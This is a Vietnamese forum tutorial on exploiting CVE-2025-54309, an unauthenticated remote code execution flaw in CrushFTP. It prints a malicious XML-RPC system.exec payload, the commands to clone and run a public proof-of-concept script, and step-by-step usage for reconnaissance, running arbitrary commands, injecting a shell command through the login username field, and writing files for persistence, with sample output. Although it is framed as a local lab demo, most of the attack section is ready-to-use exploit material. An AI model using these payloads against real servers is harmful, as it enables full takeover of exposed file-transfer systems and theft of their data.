Pentest & Offsec CVE-2025-54309 - RCE (Remote Code Execution) của CrushFTP

Lỗ hỗng nghiêm trọng mới của CrushFTP là gì và làm thế nào để khai thác?

Cốt lõi của lỗ hỗng CVE-2025-54309 là sự cố trong các bước kiểm tra bảo mật bên trong DMZ proxy của CrushFTP. Trong cấu hình mặc định, proxy được định hình là cổng an toàn, nhằm bảo vệ internal admin server khỏi public internet.​
Tuy nhiên, lỗ hổng này cho phép attacker gửi một HTTP POST request được crafted đặc biệt đến một admin endpoint cụ thể, /WebInterface/function/, mà không cần phải đăng nhập. Server đã xử lý yêu cầu unauthenticated, cho phép kẻ tấn công thực hiện các lệnh trực tiếp trên hệ điều hành cơ bản.​
Attack Vector: XML-RPC
Phương pháp chính để khai thác lỗ hỗng này liên quan đến XML-RPC (XML Remote Procedure Call). Đây là một giao thức sử dụng XML để mã hóa lệnh gọi đến các function trên máy chủ từ xa. Trong trường hợp này, PoC script gửi một XML payload đến máy chủ với thông điệp, "Please execute the system.exec function with the following command as an argument."​
XML payload độc hại sẽ trông như sau:​
XML:
<?xml version="1.0"?>[/INDENT]
[INDENT]<methodCall>[/INDENT]
[INDENT]   <methodName>system.exec</methodName>[/INDENT]
[INDENT]  <params>[/INDENT]
[INDENT]    <param><value><string>id</string></value></param>[/INDENT]
[INDENT]  </params>[/INDENT]
[INDENT]</methodCall>
Bởi vì máy chủ không kiểm tra authentication của người dùng, nên máy chủ ngay sau khi nhận thông điệp này, nó thực thi lệnh id sau đó gửi kết quả trả về trên response.​

Vì sao lỗ hỗng này nghiêm trọng? (CVSS 9.8)

Một lỗ hổng như thế được chấm điểm CVSS critical vì ba lý do chính:​
  1. No Authentication Required: Kẻ tấn công không cần username hay password.​
  2. Remote Access: Lỗ hổng có thể bị khai thác từ bất cứ đâu trên internet.​
  3. Full Control: Nó cho phép Remote Command Execution (RCE), mức độ compromise cao nhất, cho phép kẻ tấn công đánh cắp dữ liệu, cài đặt malware, hoặc sử dụng máy chủ để tấn công các hệ thống khác.​

Cài đặt môi trường Lab

Trước tiên bạn cần cài đặt python, và download script PoC về:​
Bash:
git clone https://github.com/issamjr/CVE-2025-54309-EXPLOIT.git && cd CVE-2025-54309-EXPLOIT
Sau đó cài đặt những requirement để có thể chạy được script:​
Bash:
pip install -r requirements.txt

Sử dụng PoC script

Script có 2 tính năng chính là thu thập thông tin và khai thác, tôi sẽ demo cả 2 cho các bạn. Trong ví dụ này, tôi sẽ sử dụng máy local để demo, với IP là 192.168.1.100​

Bước 1: Thu thập thông tin

Thông thường, trước khi tấn công chúng ta cần xác định xem đối tượng chúng ta có bị lỗ hỗng hay không. Chính vì vậy script có mode --recon được dùng để scan các endpoints thông dụng, và cố gắng thu thập version của server.​
Chúng ta có thể chạy lệnh như sau:
Bash:
python3 exploit.py 192.168.1.100 --recon
Cơ chế hoạt động của script này:
  • Kiểm tra version: Script này sẽ gửi một GET request đến server ở endpoint /WebInterface/info/ để kiểm tra phiên bản của server.​
  • Scanning endpoints: Script này sẽ cố gắng kết nối đến danh sách các CrushFTP endpoints đã biết (/function/, /login/, v.v.) để xem endpoint nào có thể truy cập được, đồng thời cho ta biết được HTTP status codes của từng endpoint. Điều này giúp attacker hiểu cấu hình của target.​

Bước 2: Khai thác​

1. Tấn công XML-RPC mặc định:
Đây là phương pháp chính đã được mô tả ở trên. Tôi sẽ chạy lệnh uname -a như sau:​
Bash:
python3 exploit.py 192.168.1.100 -c "uname -a"
  • 192.168.1.100: target server.
  • -c "uname -a": lệnh để thực thi trên server.
Script tạo payload XML-RPC với uname -a bên trong thẻ <string>, gửi nó đến server https://192/168.1.100/WebInterface/function/, và trả về phản hồi của server.​
Output:
Bash:
[+] Payload delivered. Parsing output...[/INDENT]
[INDENT]--- Command Output ---Linux testsystem 5.15.0-88-generic #98-Ubuntu SMP ...
2. Payload thay thế: Command Injection (cmd_inject)
Một số lỗ hổng không nằm ở API endpoints mà lại xuất hiện trong các web form fields, ví dụ như trên login page. Payload này mô phỏng điều đó.​
Bash:
python3 exploit.py 192.168.1.100 -p cmd_inject -c "whoami"
  • -p cmd_inject: Chỉ định loại payload command dùng để inject.
Script gửi một yêu cầu POST đến /WebInterface/login/. Thay vì sử dụng username là admin, script sẽ gửi là admin';whoami;#.​
  • ': Đóng chuỗi tên người dùng trong mã phía máy chủ.
  • ;: Hành động như một ký tự phân tách lệnh trong các môi trường shell.
  • whoami: Lệnh mới sẽ được thực thi.
  • #: comment đoạn thừa, để command có thể thực thi vào không crash.
3. Payload thay thế: File Upload (file_upload)
Dùng để upload file lên server. Ta có thể sử dụng với command như sau:​
Bash:
python3 exploit.py 192.168.1.100 -p file_upload --upload-file "/tmp/pwned.txt" --upload-data "System Compromised"
  • --upload-file: Bao gồm đường dẫn, và tên file sẽ được ghi vào ổ đĩa.
  • --upload-data: Dữ liệu sẽ được ghi vào file.
Tính năng này, script sẽ sử dụng XML-RPC file.write, để yêu cầu máy chủ tạo một tệp với nội dung cụ thể. Cách này thường được sử dụng để tạo 1 backup (persistence) hoặc để tải lên các công cụ khác để phục vụ các bước khai thác kế tiếp.​
Cảm ơn các bạn đã dành thời gian để đọc qua bài này!
 
Sửa lần cuối:
Back
Top